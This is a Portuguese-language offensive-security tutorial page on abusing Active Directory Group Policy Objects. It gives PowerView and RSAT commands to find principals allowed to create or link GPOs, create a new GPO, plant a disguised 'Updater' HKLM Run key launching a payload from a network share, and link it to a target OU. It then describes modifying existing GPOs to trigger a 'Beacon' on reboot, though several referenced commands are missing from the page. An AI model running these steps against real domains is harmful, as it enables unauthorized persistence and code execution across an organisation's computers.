GPO (Group Policy Objects)

Criando GPO e Linkando com uma OU

Os objetos de política de grupo são armazenados em CN=Policies,CN=System - os principais que podem criar novos GPOs no domínio têm o privilégio Create groupPolicyContainer objects sobre este objeto. Podemos encontrá-los com o cmdlet Get-DomainObjectAcl do PowerView, procurando aqueles que têm direitos CreateChild no Group-Policy-Container e, em seguida, resolvendo seus SIDs para nomes legíveis.

powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=<subdomain>,DC=<domain>,DC=<local>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }

A partir do resultado do comando acima, podemos ver quais grupos tem direito de criar GPO. Porém, ser capaz de criar um GPO não resulta em nada, a menos que possa ser vinculado a uma OU. A capacidade de vincular um GPO a uma OU é controlada na própria OU, concedendo privilégios Write gPLink. Isso é algo que podemos encontrar com o PowerView, primeiro obtendo todas as OUs do Domínio e canalizando-as para Get-DomainObjectAcl novamente. Itere sobre cada um deles procurando instâncias de WriteProperty sobre GP-Link.

powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

Caso o retorno seja positivo, então já sabemos que os membros de um determinado grupo, podem vincular GPOs a uma determianda OU. Aliás guarde o valor de ObjectDN para uso futuro.

Os GPOs podem ser gerenciados na linha de comando por meio dos módulos RSAT do PowerShell. Esta é uma instalação opcional e geralmente encontrada apenas em estações de trabalho de gerenciamento. O cmdlet Get-Module mostrará se eles estão presentes.

powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands

Use o cmdlet New-GPO para criar e vincular um novo GPO.

powershell New-GPO -Name "<Mysther GPO>"

Alguns abusos podem ser implementados diretamente usando o RSAT. Por exemplo, o cmdlet Set-GPPrefRegistryValue pode ser usado para adicionar uma chave de execução automática HKLM ao registro.

powershell Set-GPPrefRegistryValue -Name "<Mysther GPO>" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\<dc\dir\dns_x64.exe>" -Type ExpandString

Agora, aplique o GPO à OU de destino. Pegue o valor de ObjectDN pelo retorno do segundo comando, que em resumo será o caminho da OU vulnerável.

powershell Get-GPO -Name "<Mysther GPO>" | New-GPLink -Target "<ObjectDN>"

Lembre-se que, as execuções automáticas do HKLM exigem uma reinicialização do SO para serem executadas.

Modificando GPOs Existentes

Modificar um GPO existente que já esteja aplicado a uma ou mais OUs é o cenário mais simples. Para pesquisá-los, precisamos enumerar todos os GPOs do domínio com Get-DomainGPO e verificar a ACL de cada um com Get-DomainObjectAcl. Queremos filtrar qualquer um para o qual um principal tenha privilégios de modificação, como CreateChild, WriteProperty ou GenericWrite, e também queremos filtrar os principais legítimos, incluindo SYSTEM, Domain Admins e Enterprise Admins.

Pegue o valor de ObjectDN e converta em seu nome de GPO. Observe a saída em displarname

Agora vamos converter o SID capturado no campo SecurityIdentifier, presente na saída do primeiro comando, utilizando-o no comando abaixo. A partir do resultado, iremos saber qual grupo tem privilégios (verificar permissões no campo ActiveDirectoryRights) na GPO em questão.

Também queremos saber a quais OUs essa GPO se aplica e quais computadores estão nessas OUs. As GPOs são vinculados a uma OU modificando a propriedade gPLink da própria OU. O cmdlet Get-DomainOU possui um parâmetro -GPLink que usa um GUID de GPO. No comando abaixo, utilize somente o valor SID (entre chaves) da GPO, presente no campo ObjectDN.

Finalmente, para obter os computadores em uma OU, podemos usar Get-DomainComputer e usar o nome distinto da OU como base de pesquisa. Utilize o valor de distinguishedName do comando acima, para montar o comando abaixo.

Para modificar um GPO sem o uso do GPMC (Group Policy Management Console), podemos modificar os arquivos associados diretamente no SYSVOL (o gpcFileSysPath).

Ou se preferir, podemos fazer isso de forma automatizada. Como exemplo, podemos usar um script de inicialização no SYSVOL, que será executado toda vez que um computador afetado for iniciado.

Para verificar se deu certo, execute o comando do PowerView abaixo

Agora assim que a máquina alvo tiver sua GPO atualizada e a máquina for reiniciada, irá ser trigado o Beacon. Caso tenha acesso a máquina, force esse acontecimento com os seguintes comandos

Sites

Last updated

Was this helpful?